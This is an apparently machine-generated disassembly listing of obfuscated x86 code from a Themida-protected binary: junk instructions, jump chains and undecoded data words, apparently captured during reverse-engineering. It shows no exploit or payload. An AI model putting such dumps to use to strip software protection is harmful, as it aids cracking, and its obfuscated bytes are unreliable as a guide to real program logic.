loc_546EF2:				; CODE XREF: Themida_:00553428j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	bl, al
		mov	eax, [esp]
		jmp	loc_544399
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48124h, 0E9000000h, 3535h,	0E9242C89h, 0BCF3h
; ---------------------------------------------------------------------------

loc_546F1C:				; CODE XREF: Themida_:005444F8j
		or	ch, bl
		pop	ebx
		add	ch, 0D8h
		shr	ch, 3
		and	ch, 0F1h
		add	ch, 30h
		sub	dh, 33h
		push	ecx
		jmp	loc_54FF0E
; ---------------------------------------------------------------------------
		dd 15AD331h, 241C8BD8h,	6804C483h, 1A88h, 51243C89h, 5ABF5756h
		dd 0BE44022Dh, 0C0064800h, 895FFE01h, 0DA87E9F1h, 0FE890000h
		dd 0A9ECE95Fh, 0E7890000h, 4C781h, 0C7830000h, 243C8704h
		dd 46B8505Ch, 530CF81Ah, 0FB31E9h
		db 0
; ---------------------------------------------------------------------------

loc_546F81:				; CODE XREF: Themida_:005541EAj
		pop	esi
		push	ebx
		mov	ebx, 0B692E987h
		add	edx, ebx
		pop	ebx
		sub	ecx, edx
		mov	edx, [esp]
		jmp	loc_5434DD
; ---------------------------------------------------------------------------
		db 29h,	0DFh, 5Bh
		dd 7EEF815Eh, 119335Dh,	7EC781F7h, 5219335Dh, 0FFB30FE9h
		dd 4BB53FFh, 0E9000000h, 37D9h,	0E95AD001h, 0D946h, 0E95BD829h
		dd 0FFFFAB76h, 0F624248Bh, 56F4E9E9h, 0C2810000h, 0CE576E52h
		dd 2D2EC581h, 0C5811DA5h, 8985DD0h, 0ED81D501h,	8985DD0h
		dd 0D258E957h, 0FF53FFFFh, 5B042474h, 5C24048Fh, 0FFAB1EE9h
		dd 0C8BE0FFFh, 411A68h,	240C8900h, 0FFAB0EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_547011:				; CODE XREF: Themida_:00543DDBj
		push	ebx
		mov	ebx, 0D192DFCh
		add	edi, ebx
		jmp	loc_55270E
; ---------------------------------------------------------------------------

loc_54701E:				; CODE XREF: Themida_:0055457Aj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_54DA52
; ---------------------------------------------------------------------------

loc_54702C:				; CODE XREF: Themida_:00546443j
		add	esp, 4
		jmp	loc_545D8A
; ---------------------------------------------------------------------------
		dd 8C1EDFBFh, 67F7810Ah, 817EE653h, 5521D6F7h, 0F7814F2Dh
		dd 67760084h, 4B0BCF81h, 0EF811566h, 0D2D3398Bh, 21E4E9h
		dd 24348B00h, 0E904C483h, 2786h
; ---------------------------------------------------------------------------

loc_547068:				; CODE XREF: Themida_:00543DBFj
		shl	eax, 5
		shl	eax, 2
		shr	eax, 2
		push	esi
		jmp	loc_554BB7
; ---------------------------------------------------------------------------
		db 31h
		dd 0AFE92404h, 8B0000E1h, 0C4812404h, 4, 0FFE472E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54708D:				; CODE XREF: Themida_:005471A3j
		xchg	ecx, [esp]
		not	ecx
		jmp	loc_54E3BD
; ---------------------------------------------------------------------------

loc_547097:				; CODE XREF: Themida_:0054B948j
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_555578
; ---------------------------------------------------------------------------
		dd 0B19FE94Bh, 248BFFFFh, 24248924h, 0E02BE9h, 82B95100h
		dd 134915Ch, 2434FFC8h,	4C48359h, 0B9FCE9h
		db 0
; ---------------------------------------------------------------------------

loc_5470CD:				; CODE XREF: Themida_:00545AAFj
		add	edi, edx
		sub	edi, 54C82C46h
		jmp	loc_54EABE
; ---------------------------------------------------------------------------

loc_5470DA:				; CODE XREF: Themida_:0055450Cj
		push	ebp
		not	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		xchg	ebp, edi
		jmp	loc_54C84F
; ---------------------------------------------------------------------------

loc_5470EE:				; CODE XREF: Themida_:005433CBj
		pop	edi
		push	edi
		mov	edi, 76523919h
		jmp	loc_553F14
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48324h, 0F781E7D1h, 53C208A4h, 0FFF4AAE9h,	0B4E958FFh
		dd 5FFFFBDh, 4,	405h, 0B0DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547122:				; CODE XREF: Themida_:00553C8Aj
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 50130A8Eh
		add	eax, ebp
		jmp	loc_54A059
; ---------------------------------------------------------------------------
		dd 0FFA9E2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54713D:				; CODE XREF: Themida_:0055249Fj
		shl	dh, 7
		push	4814h
		mov	[esp], ecx
		jmp	loc_554F30
; ---------------------------------------------------------------------------

loc_54714D:				; CODE XREF: Themida_:00551C07j
		sub	eax, edi
		pop	edi
		jmp	loc_556B29
; ---------------------------------------------------------------------------
byte_547155	db 0ADh, 31h, 0D8h	; DATA XREF: Themida_:00541A88o
		dd 4EC81h, 0C890000h, 0C23E6824h, 34FF1006h, 8D4DE924h
		dd 0EE830000h, 0BBC681FFh, 29D303EBh, 0EB815EF3h, 2C8D4971h
		dd 0E92434FFh, 911Bh, 0B22DE95Ah, 0C7830000h, 243C8704h
		dd 6B52E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54719A:				; CODE XREF: Themida_:005431E8j
		sub	ebp, 0FFFFFFFFh
		neg	ebp
		push	ebp
		jmp	loc_54708D
; ---------------------------------------------------------------------------

loc_5471A8:				; CODE XREF: Themida_:005486F3j
		mov	esp, [esp]
		jmp	loc_54D92E
; ---------------------------------------------------------------------------
		dd 9EBF5750h, 0B86D2412h, 1215E10h, 9709E9h
		db 0
; ---------------------------------------------------------------------------

loc_5471C1:				; CODE XREF: Themida_:00548AA0j
		sub	esi, ecx
		pop	ecx
		push	esi
		sub	dword ptr [esp], 593B5424h
		jmp	loc_554457
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 1000000h, 348758C6h,	24248B24h, 0E92434FFh, 16C0h, 0FFA932E9h
		dd 5DEF01FFh, 0FFF26BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5471F5:				; CODE XREF: Themida_:0054E7E0j
		mov	edi, 6B5715D7h
		push	edx
		mov	edx, 22ED47BBh
		not	edx
		shl	edx, 5
		shl	edx, 8
		sub	edx, 3044A05h
		sub	esi, edx
		pop	edx
		jmp	loc_554D25
; ---------------------------------------------------------------------------

loc_547216:				; CODE XREF: Themida_:005463F0j
		push	eax
		mov	eax, 13803094h
		mov	ebp, 497B2F11h
		xor	ebp, eax
		jmp	loc_5491B7
; ---------------------------------------------------------------------------
		dd 8324348Bh, 685304C4h, 3717h,	81242489h, 4ECh, 0E388E900h
		dd 0C381FFFFh, 54E4776Bh, 3B6BEB81h, 0E3E96EE6h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547253:				; CODE XREF: Themida_:0054A90Ej
		push	ebx
		mov	ebx, 1FAA66CFh
		push	ebx
		not	dword ptr [esp]
		jmp	loc_544806
; ---------------------------------------------------------------------------
		dw 0B8E9h
		dd 59FFFFA8h, 8105E9C1h, 671511E9h, 2E9C139h, 0C48BE9h
		dd 8082B100h, 526637F1h, 5317E9h, 8EEC000h, 247D68h, 241C8900h
		dd 884EB050h, 0E95058C7h, 0FFFFEA21h
; ---------------------------------------------------------------------------

loc_54729C:				; CODE XREF: Themida_:00543018j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_549BFD
; ---------------------------------------------------------------------------

loc_5472B5:				; CODE XREF: Themida_:00542138j
		sub	ebx, 6EF43DCh
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, ebx
		mov	esi, edx
		mov	edx, [esp]
		jmp	loc_553EAB
; ---------------------------------------------------------------------------

loc_5472CE:				; CODE XREF: Themida_:0054A774j
		xor	eax, 10EF2E42h
		add	edi, eax
		push	dword ptr [esp]
		jmp	loc_550725
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aHqi		db '$hQi',0
		align 2
		dw 3C89h
		dd 34FF5424h, 7CD5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5472F2:				; CODE XREF: Themida_:0054A24Cj
		neg	ch
		jmp	loc_54F9A1
; ---------------------------------------------------------------------------
byte_5472F9	db 66h,	0F7h, 1Ch	; DATA XREF: Themida_:0054195Co
		dd 1CE99C24h
		db 0A8h, 2 dup(0FFh)
byte_547303	db 66h			; DATA XREF: Themida_:0054192Co
		dd 68240C8Bh, 7330h, 89242C89h,	46BA52E5h, 0C1030C30h
		dd 0EA8102E2h, 691B24EAh, 2C7BB951h, 7FE97BA4h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54732B:				; CODE XREF: Themida_:00548B6Dj
		mov	esi, 1D927944h
		not	esi
		shr	esi, 3
		add	esi, 6FDB6B36h
		add	esi, 0E5104015h
		jmp	loc_542FC9
; ---------------------------------------------------------------------------
		dw 8B54h
		dd 37E92404h, 0C10000D5h, 0C38104E3h, 695935C2h, 815BDA89h
		dd 9A3092CAh, 0D2F74A76h, 878DC281h, 0D0317A5Dh, 8E0C15Ah
		dd 121CBD55h, 0E831231Ah, 8BC5015Dh, 0C4832404h, 2A116804h
		dd 20E90000h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54738B:				; CODE XREF: Themida_:005441D4j
		add	eax, [ecx]
		pop	ecx
		jmp	loc_548A10
; ---------------------------------------------------------------------------

loc_547393:				; CODE XREF: Themida_:0055476Ej
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		jmp	loc_5466C9
; ---------------------------------------------------------------------------

loc_5473A3:				; CODE XREF: Themida_:00550257j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 6E5D5908h
		push	ebp
		mov	ebp, 11FA3AB7h
		and	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_54E07C
; ---------------------------------------------------------------------------
		dw 2C80h
		dd 2C281E24h, 24048024h, 242C8A1Eh, 8004C483h, 43E901EDh
		dd 5E00005Bh, 16D9E9h, 0D5F75A00h, 0E903E5C1h, 0A46Ch
		dd 0FDE95A66h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5473F3:				; CODE XREF: Themida_:00549CD0j
		pop	edi
		add	ebp, 4
		jmp	loc_54F9B0
; ---------------------------------------------------------------------------
		db 0B8h
		dd 1877642Bh, 0FFEE00E9h, 0E9514EFFh, 0E20Dh, 0C0E95058h
		db 93h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547417:				; CODE XREF: Themida_:00551B9Dj
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_5525CB
; ---------------------------------------------------------------------------
		dd 0F75BDF89h, 0F56FE9DFh, 0C181FFFFh, 4, 5C240C87h, 29D2E9h
		db 0
; ---------------------------------------------------------------------------

loc_54743D:				; CODE XREF: Themida_:005551C2j
		push	4B6Eh
		mov	[esp], edx
		push	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	148743F5h
		mov	ecx, [esp]
		jmp	loc_54DAF0
; ---------------------------------------------------------------------------
dword_54745C	dd 8B2434FFh, 9AE92404h	; DATA XREF: Themida_:00541A7Co
		db 0BDh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_547467:				; CODE XREF: Themida_:00546647j
		shl	ebx, 1
		inc	ebx
		add	ebx, 0C253C258h
		xor	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 4BBD0869h
		neg	eax
		shl	eax, 2
		sub	eax, 47AE3040h
		xor	eax, 6FC5303Eh
		push	ebx
		mov	ebx, 0
		sub	ebx, eax
		xchg	eax, ebx
		pop	ebx
		xor	eax, 196761DAh
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		and	ecx, ebp
		pop	ebp
		shr	ecx, 0Ah
		jmp	loc_548C85
; ---------------------------------------------------------------------------
		dw 5150h
		dd 99E971B5h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5474C7:				; CODE XREF: Themida_:0054354Bj
		mov	[esp], edx
		mov	edx, 19546139h
		xor	edx, 2E15371Fh
		add	esi, edx
		mov	edx, [esp]
		jmp	loc_554AE7
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812404h, 4, 0FFABCEE9h, 60E954FFh
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5474F3:				; CODE XREF: Themida_:0054DBA9j
		pop	edx
		add	ebx, edi
		jmp	loc_554438
; ---------------------------------------------------------------------------
		dd offset dword_56C468
		align 10h
		dd 0B1240C89h, 4E9C0ACh, 55F5E9h
		db 0
; ---------------------------------------------------------------------------

loc_54750D:				; CODE XREF: Themida_:005549E0j
		mov	esi, 4
		sub	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_543541
; ---------------------------------------------------------------------------

loc_547521:				; CODE XREF: Themida_:00541CC3j
		push	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		pop	eax
		jmp	loc_552582
; ---------------------------------------------------------------------------
		dd 3C8BFB31h, 4C48324h,	5C55EE81h, 9AE967DEh, 8900000Ch
		dd 0BB532434h, 1C260991h, 0F673BA52h, 0D689E3D9h, 87E9535Ah
		dd 52000071h, 80FEE9h, 40F18100h, 2920C810h, 59CF87F9h
		dd 8102EFC1h, 5A7185C7h, 0F1B1E928h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54758E:				; CODE XREF: Themida_:00547F63j
		xor	ebx, 621B744Fh
		sub	ebx, 403C053Fh
		jmp	loc_550D23
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5E042474h, 5C24048Fh, 4B97E9h, 5BDA8900h, 148BD601h
		dd 5459E924h
		db 2 dup(0)
word_5475BA	dw 34FFh		; DATA XREF: Themida_:00541A04o
		dd 89575924h, 4C781E7h,	81000000h, 4EFh, 129EE900h, 0B8500000h
		dd 1A902325h, 54FAE9h, 0E9FE0100h, 0FFFFB861h, 1E0D7EB9h
		dd 0C8C98172h, 5127767Ah, 59240CFFh, 0A0FBE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5475FA:				; CODE XREF: Themida_:0054A9F7j
		pop	ecx
		push	ebp
		mov	ebp, 4
		jmp	loc_54E760
; ---------------------------------------------------------------------------
		dw 1489h
		dd 6DBA6624h, 0F2816631h, 0F9E94F02h, 5200008Ch, 6094E9h
		db 0
; ---------------------------------------------------------------------------

loc_54761D:				; CODE XREF: Themida_:00542E2Bj
		sub	edx, 0CA61A56h
		jmp	loc_542A10
; ---------------------------------------------------------------------------

loc_547628:				; CODE XREF: Themida_:00542125j
		push	69C6146Ch
		pop	ecx
		xor	ecx, 36B571ABh
		add	ecx, 18A728D9h
		jmp	loc_546C60
; ---------------------------------------------------------------------------
		db 66h
		dd 6608EBC1h, 0EB81664Bh, 8966ABE0h, 0D3CCE9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547652:				; CODE XREF: Themida_:00552FA1j
		mov	[esp], esi
		mov	esi, 1752128Dh
		shl	esi, 8
		xor	esi, 67F2F212h
		sub	ebp, 35DA43E6h
		sub	ebp, esi
		jmp	loc_546448
; ---------------------------------------------------------------------------

loc_547670:				; CODE XREF: Themida_:0054D8E1j
		and	ebx, edx
		jmp	loc_5537A0
; ---------------------------------------------------------------------------

loc_547677:				; CODE XREF: Themida_:00553D38j
		shl	esi, 7
		jmp	loc_5465F6
; ---------------------------------------------------------------------------
		db 83h
		dd 0EE8104C4h, 66807F3Ch, 0C681DE01h, 66807F3Ch, 6712EE81h
		dd 1C8B7E19h, 4C48124h,	0E9000000h, 0F1ADh
dword_5476A4	dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0A64h ; DATA XREF: Themida_:005418D4o
; ---------------------------------------------------------------------------

loc_5476B4:				; CODE XREF: Themida_:00550521j
		add	esp, 4
		jmp	loc_543A44
; ---------------------------------------------------------------------------
		db 0B6h
		dd 5BDE3004h, 0B803E9h,	1665A00h, 0C58166FDh, 815F7E6Fh
		dd 2ECh, 1C896600h, 25BB6624h, 0DD31663Bh, 66565B66h, 6652FDBEh
		dd 6FB1EE81h, 0E3CE8166h, 0EE81664Ch, 3166BC64h, 0BD8FE9F5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547702:				; CODE XREF: Themida_:005479AAj
		pop	ebx
		jmp	loc_546E28
; ---------------------------------------------------------------------------
		dd 4BFh, 5FF80100h, 0E9240487h,	2797h
; ---------------------------------------------------------------------------

loc_547718:				; CODE XREF: Themida_:00545E06j
		mov	bl, 8Ah
		sub	bl, dl
		push	dword ptr [esp]
		jmp	loc_553335
; ---------------------------------------------------------------------------
		dd 895DA22Dh, 5E9571Bh,	97FFFFF9h, 0E3E9D7F7h, 5000030h
		dd 1, 0FFFFEEE9h, 7C0D68FFh, 14890000h,	51E28924h, 5F2CE9h
		dd 13FA6800h, 0C890000h, 0E2895224h, 0DF06E951h, 0FF2D0000h
		dd 35FFFFFFh, 566A5631h, 0E707CD05h, 0C6EA2D52h, 0C7015145h
		dd 74CDE9h, 1DF18100h, 0F7266707h, 81D9F7D1h, 0C9A330F1h
		dd 59CD019Eh, 8102EDC1h, 94D350F5h, 0C083E950h,	1C89FFFFh
		dd 16D0BB24h, 0AFE9315Fh, 53000085h, 56B150B3h,	34FFD900h
		dd 241C8B24h, 6EDAE9h
		db 0
; ---------------------------------------------------------------------------

loc_5477BD:				; CODE XREF: Themida_:00551172j
		push	ebx
		mov	bl, dl
		push	edx
		mov	dl, bl
		mov	ch, dl
		pop	edx
		pop	ebx
		mov	[edi+eax*4+1], ch
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edx
		jmp	loc_55205B
; ---------------------------------------------------------------------------
aLRsb		db '‹<$Ré¡`',0
		db 0
byte_5477E7	db 66h			; DATA XREF: Themida_:00541AD0o
		dd 8324048Bh, 0C8904ECh, 15B56824h, 8F540000h, 4812404h
		dd 424h, 2434FF00h, 4C48359h, 4C181h, 0EC810000h, 4, 68243C89h
		dd 10DEh, 0BE243489h, 12166F64h, 7DE9F789h, 5CFFFFEEh
		dd 81242489h, 42404h, 1C8B0000h, 4C48124h, 56000000h, 525B6850h
		dd 0A3E92FB9h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54784B:				; CODE XREF: Themida_:0054DC2Dj
		mov	edi, ebx
		pop	ebx
		jmp	loc_55158F
; ---------------------------------------------------------------------------
byte_547853	db 66h			; DATA XREF: Themida_:0054186Co
		dd 51240C8Bh, 644368h, 24248900h, 0EE5BE9h, 24048B00h
		dd 5FBFE9h
		db 0
; ---------------------------------------------------------------------------

loc_54786D:				; CODE XREF: Themida_:0054B64Fj
		push	ebx
		mov	ebx, 0CAC5843Fh
		sub	[edi+20h], ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		jmp	loc_552E78
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 4240481h, 0E9000000h, 0B42Ch
; ---------------------------------------------------------------------------

loc_547898:				; CODE XREF: Themida_:00551618j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	4EBDh
		mov	[esp], edi
		push	3D15h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_549445
; ---------------------------------------------------------------------------
		db 1
		dd 3C335EF7h, 243C3124h, 5C243C33h, 14D568h, 24348900h
		dd 4BEh, 0B9515600h, 2AFD2409h,	0E941D1F7h, 43D9h
; ---------------------------------------------------------------------------

loc_5478E4:				; CODE XREF: Themida_:00550A4Cj
		mov	edx, 65DA61C7h
		push	edi
		push	8F28AC26h
		mov	edi, [esp]
		add	esp, 4
		mov	ebx, edi
		jmp	loc_54A766
; ---------------------------------------------------------------------------

loc_5478FF:				; CODE XREF: Themida_:00544808j
		xor	ebx, 47A0D45h
		sub	ebx, 0D8FD1EF2h
		jmp	loc_54526E
; ---------------------------------------------------------------------------

loc_547910:				; CODE XREF: Themida_:00544BE0j
		add	al, 0C2h
		add	al, 0Dh
		add	al, 0FEh
		sub	bl, al
		jmp	loc_5514A0
; ---------------------------------------------------------------------------
aKStS3s		db 'Š,$ST[é3S',0
		align 4
		dd 0E9EA0159h, 0C10Eh, 0C581FD01h, 610B5A6Fh, 57243C8Bh
		dd 5404EC83h, 8124048Fh, 42404h, 3C8B0000h, 4C48324h, 4C781h
		dd 0C7830000h, 3498E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54795E:				; CODE XREF: Themida_:0054B647j
		sub	esi, ebp
		jmp	loc_541B92
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 1C67E9h, 0E9D1F700h,	55C4h, 0E91AB050h, 2EF9h, 34F5C781h
		dd 0F729139Eh, 34F5EF81h, 0C35E139Eh, 0FFA18EE9h, 0B2C405FFh
		dd 0C689CF80h, 0BEEE8158h, 0E94F802Eh, 0FFFFE5C8h
; ---------------------------------------------------------------------------

loc_5479A4:				; CODE XREF: Themida_:0054398Fj
		pop	ebp
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_547702
; ---------------------------------------------------------------------------
		db 0BBh
		dd 58606FF7h, 347AE381h, 0E3816337h, 6A836AA9h,	0EFF0C381h
		dd 0E0E91042h, 5D0000EAh, 0E9EDD15Eh, 99AAh, 0E9F9015Bh
		dd 881Bh, 88E9FD89h, 500000C6h,	8A55D2B8h, 111E2501h, 2D481436h
		dd 2110Dh, 5158C701h, 4B9h, 59CF0100h, 31243C33h, 3C33243Ch
		dd 0D8315C24h, 81241C8Bh, 4C4h,	30FF6600h, 0FFA102E9h
		dd 1C875DFFh, 24248B24h, 9C243CD2h, 0A73AE9h
		db 0
; ---------------------------------------------------------------------------

loc_547A2D:				; CODE XREF: Themida_:005514EDj
		mov	eax, 7B15472Dh
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5438B8
; ---------------------------------------------------------------------------

loc_547A3F:				; CODE XREF: Themida_:00546054j
		pop	ebp
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	37E5h
		jmp	loc_543CB5
; ---------------------------------------------------------------------------
		dw 5A68h
		dd 8B185F67h, 0C483243Ch, 7E7C104h, 0F6B95150h,	0B827C438h
		dd 7EF740Eh, 3159C801h,	24048BC7h, 8904C483h, 0EA815FF9h
		dd 397868F6h, 0C281CA01h, 397868F6h, 68240C8Bh,	779Dh
		dd 0E9242C89h, 4C03h
; ---------------------------------------------------------------------------

loc_547A9C:				; CODE XREF: Themida_:00544F50j
		pop	eax
		mov	ebx, 7A390BF6h
		xor	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54469B
; ---------------------------------------------------------------------------
		dw 9405h
		dd 592A190Bh, 5C240487h, 8FC331h, 0FFA05AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_547AC5:				; CODE XREF: Themida_:00543E37j
		pop	esp
		mov	[esp], edx
		mov	edx, 26A31A82h
		add	edx, 35230ABh
		push	0FD8h
		jmp	loc_552DE0
; ---------------------------------------------------------------------------
		dw 0E3C1h
		dd 4EC8105h, 89000000h,	9EBA2414h, 29844F26h, 34B4E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547AF6:				; CODE XREF: Themida_:00547E9Aj
		not	ebp
		xchg	ebp, esi
		push	edi
		mov	edi, 4DD52A9Fh
		add	esi, edi
		pop	edi
		add	esi, 59477B04h
		shr	esi, 2
		dec	esi
		jmp	loc_554876
; ---------------------------------------------------------------------------
		dw 0CA29h
		dd 0A9F28159h, 895DE991h, 0C7815AD1h, 359441C6h, 0BCE9CF01h
		dd 5F00003Ch, 7E4CD81h,	0F5810D7Ch, 0A6AB3E4h, 2C8BEA09h
		dd 4C48324h, 1717EA81h,	0D02909A7h, 5A2434FFh, 51E38953h
		dd 4B9h, 0BEC38100h, 143F958h, 0BEEB81CBh, 5943F958h, 4C381h
		dd 1C330000h, 241C3124h, 0E9241C33h, 0FFFFCBA4h, 4EC81h
		dd 0C890000h, 66A5B124h, 80000068h, 0E9E0242Ch,	6061h
; ---------------------------------------------------------------------------

loc_547B90:				; CODE XREF: Themida_:00556756j
		and	esi, eax
		pop	eax
		add	esi, 28C5ED00h
		and	eax, esi
		pop	esi
		jmp	loc_543DBE
; ---------------------------------------------------------------------------
aFpsg		db 'fPé£',7,0
		align 4
		dd 0FF9F72E9h, 4C481FFh, 1000000h, 60CBE9D3h, 875E0000h
		dd 248B241Ch, 0E8C3E924h, 8B660000h, 0C4812414h, 2, 497D6866h
		dd 240C8966h, 4DB068h, 24348900h, 5A686657h, 0E95F666Ch
		dd 0AC06h, 52575D58h, 4BAh, 1A0CE900h, 0EB830000h, 241C8704h
		dd 241C895Ch, 2E35E956h, 3C8B0000h, 0BCE95524h
		db 9, 2	dup(0)
byte_547C13	db 66h			; DATA XREF: Themida_:00541AA0o
		dd 0E9240C8Bh, 295h
dword_547C1C	dd 66EB68h, 24348900h, 0BEh, 0A2E95300h, 330000E0h, 0FFE92404h
					; DATA XREF: Themida_:005418D0o
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547C37:				; CODE XREF: Themida_:0054E15Ej
		add	ecx, 3DED8799h
		add	eax, ecx
		jmp	loc_554662
; ---------------------------------------------------------------------------
		dd 4BA52h, 0CCE90000h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547C4F:				; CODE XREF: Themida_:00544918j
		add	ebp, 4
		push	esi
		mov	esi, 79534D3Fh
		push	esi
		not	dword ptr [esp]
		pop	esi
		sub	esi, 79822037h
		sub	esi, 0D2A9285h
		jmp	loc_550D97
; ---------------------------------------------------------------------------
		db 0F6h, 0DEh, 80h
		dd 0C5E9D9F6h, 5900009Ah, 15DE901h, 0F2E981C1h,	587D1432h
		dd 31240C33h, 59E9240Ch, 8BFFFFD3h, 0BB532424h,	4, 23B9C281h
		dd 0DA294B03h, 4DBA5253h, 0E915E21Dh, 0D069h
; ---------------------------------------------------------------------------

loc_547CB0:				; CODE XREF: Themida_:005454ABj
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_546C23
; ---------------------------------------------------------------------------

loc_547CBE:				; CODE XREF: Themida_:005494EBj
		push	6D18h
		mov	[esp], ebx
		push	ecx
		jmp	loc_55070C
; ---------------------------------------------------------------------------

loc_547CCC:				; CODE XREF: Themida_:00555379j
		mov	ebx, ecx
		jmp	loc_54D434
; ---------------------------------------------------------------------------

loc_547CD3:				; CODE XREF: Themida_:0054F4F0j
		shl	ecx, 4
		xor	ecx, 9C727220h
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_54F1C1
; ---------------------------------------------------------------------------
		db 2Ch,	0A6h, 28h
		dd 1298E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547CF2:				; CODE XREF: Themida_:0055646Dj
		push	ecx
		mov	ecx, 66B76281h
		jmp	loc_5532CA
; ---------------------------------------------------------------------------
		db 81h,	0E2h, 0CFh
		dd 0C172D249h, 0EAC106E2h, 83DAF708h, 3C8904ECh, 408EE924h
		dd 685E0000h, 5551h, 71F3E9h, 24048100h, 4, 81240C8Bh
		dd 4C4h, 4C18100h, 0E9000000h, 0FFFFC4D9h, 0E9240489h
		dd 0B349h, 550B850h, 84E979C0h,	0BA0000A6h, 357F43D4h
		dd 505AD129h, 8A0657B8h, 3C503543h, 0E9814F4Ah,	6A3A4E67h
		dd 0C181C129h, 6A3A4E67h, 241C8B58h, 5504C483h,	2BDh, 0C757E900h
		dd 0FF52FFFFh, 5A042474h, 5C24048Fh, 9C2424D2h,	0FF9D8AE9h
		dd 805859FFh, 0EC836FEBh, 24148904h, 0D02863B2h, 14B5515Ah
		dd 0ED5FE9h, 24148900h,	8434E9h
		db 0
; ---------------------------------------------------------------------------

loc_547DB5:				; CODE XREF: Themida_:005480B8j
		mov	[esp], eax
		mov	eax, 6FC519C9h
		add	eax, 0A90E31C0h
		jmp	loc_54F470
; ---------------------------------------------------------------------------

loc_547DC7:				; CODE XREF: Themida_:00549B04j
		shl	ecx, 2
		not	ecx
		push	edi
		jmp	loc_555CD9
; ---------------------------------------------------------------------------
		dw 8966h
		dd 5E682414h, 8900003Ch, 0E9532404h, 0CD47h, 0FF9D36E9h
		dd 0F0E581FFh, 68710E10h, 0
		dd 5D242C29h, 4EC81h, 61E90000h, 8BFFFFE1h, 0C4832404h
		dd 1F1FE904h, 0EC830000h, 24348904h, 0C96F86BEh, 0E6EE8141h
		dd 1F41D1Eh, 0CAE95EF5h, 5D0000D1h, 0E4C5E9h, 0E3895300h
		dd 4C381h, 0C3830000h, 241C8704h, 0C80FE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547E42:				; CODE XREF: Themida_:0054F235j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_54AA32
; ---------------------------------------------------------------------------

loc_547E50:				; CODE XREF: Themida_:0054E72Fj
		mov	eax, [esp]
		add	esp, 4
		push	3CC2h
		mov	[esp], esi
		push	5E07h
